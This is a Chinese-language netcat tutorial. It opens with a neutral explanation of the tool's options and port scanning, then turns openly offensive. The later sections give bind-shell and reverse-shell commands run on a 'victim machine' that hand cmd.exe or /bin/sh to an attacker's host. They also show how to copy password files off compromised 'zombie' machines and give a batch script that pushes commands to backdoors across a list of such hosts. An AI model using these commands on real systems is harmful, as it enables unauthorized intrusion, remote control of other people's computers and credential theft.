NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的 网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。


   首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和 udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏 幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端,就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.


   最简单的使用方法,”nc host port”,能建立一个TCP连接,连向指定的主机和端口。接下来,你的从标准输入中输入的任何内容都会被发送到指定的主机,任何通过连接返回来的信息都 被显示在你的标准输出上。这个连接会一直持续下去,至到连接两端的程序关闭连接。注意,这种行为不同于大多数网络程序,它们会在从标准输入读到一个文件结 束符后退出。

   NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。 在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。


  你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符 (standard input EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二 进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NetCat会将 这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。NetCat没有这些限制, 比Telnet更小巧和快捷,而且还有一些其它的功能。


NetCat小巧且功能强大,描述它的功能就是象描述瑞士***的功能一样。

  如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借助“ps”来查看你的命令行参数。

主机参数可以是一个名字或一个IP地址。如果-n出现,则它接受IP地址,而不再对计算机的名字或域名进行解析。如果没有-n,但加上-v,则 NetCat可进行正/反向域名解析,并警告the all-too-common problem of mismatched name in DNS。这会耗费稍多一点时间,但在某些情况下会有用处。如,你想知道某个IP的主机名,NetCat可省却你手工查找的时间。

  要建立对外的连接,必须提供一个端口号,可以是个数字,也可以/etc/services列表中的端口服务名。当-n出现时,则只有数字形式的端口可以接收。

  -v参数,可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,至到出现错误为止。

  -w参数后跟一个时间值,用以指定建立链接时的等待时间,-w如果多次出现,则后面的值将取代前面的设置。-w还用来设置连接非活动时间,当标准输入结束以后,如果等待指定的一段时间后仍没有数据返回,则NetCat会再试一次,然后关闭连接并退出。

  当-u参数出现时,用UDP建立连接。

  用-o logfile参数,可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。

  NetCat用-s ip-addr或-s name来绑定本地网络资源地址,-p portarg来绑定本地端口。除了因权限限制或端口已经使用外,-p可以绑定任何端口。Root用户可以绑定保留的1024以内的端口。如果不用-p指 定端口,则使用系统给定的未使用的端口。(-p功能在客户端状态也可以使用,-s功能并不是在所有的平台上都可用)

  -l参数可以使NetCat以服务器状态运行。”nc -l -p 1234 [remote hostname] [remote port]”可以用来指定入连的主机和端口,如果申请连接的主机或端口不符指定,则会断开连接。

  当编译时置-DGAPING_SECURITY_HOLE,则-e参数被NetCat支持。-e后面跟一可执行程序的名称,当一个连接(入或出)被建立 时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能 从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本。

  当编译时置-DTELNET,则-t参数被支持,此时NetCat可以登录到一个telnetd服务器,并提供相关的握手应答,至到出现登录提示符。

  NetCat用8k的读写,来尽可能高效将收到数据显示到标准输出上及将标准输入写到连接上。-i参数,可以用来设置发送一行标准输入信息的间隔,以减少发送速度。

  端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范围(形 如N-M)。”nc -v -w 2 -z -i 1 20-30”用来扫描target主机的20-30(两端包含)端口,-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两 个端口建立连接的时间的间隔。-w用以指明连接不活动时间。通常情况下,扫描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端 口范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,除非用-p指定)

以上为最基本的几种用法,其实NC的用法还有很多,当配合管道命令“|”与重定向命令“<”、“>”等命令时功能更强大。

其部分参数意义如下:

-d 后台模式

-e prog 程序重定向,一旦连接,就执行[危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

端口的刺探:

nc -vv ip port

RIVER [192.168.0.198] 19190  open //显示是否开放open

扫描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

这样扫描会留下大量的痕迹,系统管理员会额外小心

后门

victim machine: //受害者的机器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //***者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。


反向连接

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe***.

//或者wollf的反向连接.

nc -vv -l -p port

victim machine:

nc -e cmd.exe attacker ip -p port

nc -e /bin/sh attacker ip -p port

或者:

attacker machine:

nc -vv -l -p port1 /*用于输入*/

nc -vv -l -p prot2 /*用于显示*/

victim machine:

nc attacker_ip port1 | cmd.exe | nc attacker_ip port2

nc attacker_ip port1 | /bin/sh | nc attacker_ip port2

139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)

这样就可以保证nc.exe优先于NETBIOS(windows环境)


传送文件:

attacker machine <-- victim machine //从肉鸡拖密码文件回来.

nc -d -l -p port < pathfiledest     /*attacker machine*/ 可以shell执行

nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

attacker machine --> victim machine //上传命令文件到肉鸡

nc -vv -l -p port > pathfile.txt      /*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port < pathfiledest   /*attacker machine*/ 可以shell执行

//这样比较好.我们登陆终端.***其他的肉鸡.可以选择shell模式登陆.

结论: 可以传输ascii,bin文件.可以传输程序文件.

问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .

或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?


端口数据抓包.

nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...

< 00000084 83 00 00 01 8f # .....


telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.

nc victim_ip port < pathfile.cmd   /*victim machine*/ 显示执行过程.

nc -vv victim_ip port < pathfile.cmd   /*victim machine*/ 显示执行过程.

nc -d victim_ip port < pathfile.cmd 安静模式.

_______________file.cmd________________________

password

cd %windir%

echo []=[%windir%]

c:

cd

md test

cd /d %windir%system32

net stop sksockserver

snake.exe -config port 11111

net start sksockserver

exit

_______________file.cmd__END___________________

######################################################################

管理肉鸡,更改肉鸡设置

######################################################################

比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver"

使用winshell后门. 端口1234 密码password

命令格式就是

modi.bat youip.txt

___________modi.bat____________________________

@if "%1"=="" echo Error: no ip.txt &&goto END

:start

@echo password >a.cmd

@echo s >>a.cmd

@echo cd /d %%windir%%system32 >>a.cmd

@net stop "sksockserver" >>a.cmd

@snake.exe -config port 11111 >>a.cmd

@net start "sksockserver" >>a.cmd

@exit >>a.cmd

:auto

@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)

:END

___________modi.bat__END_______________________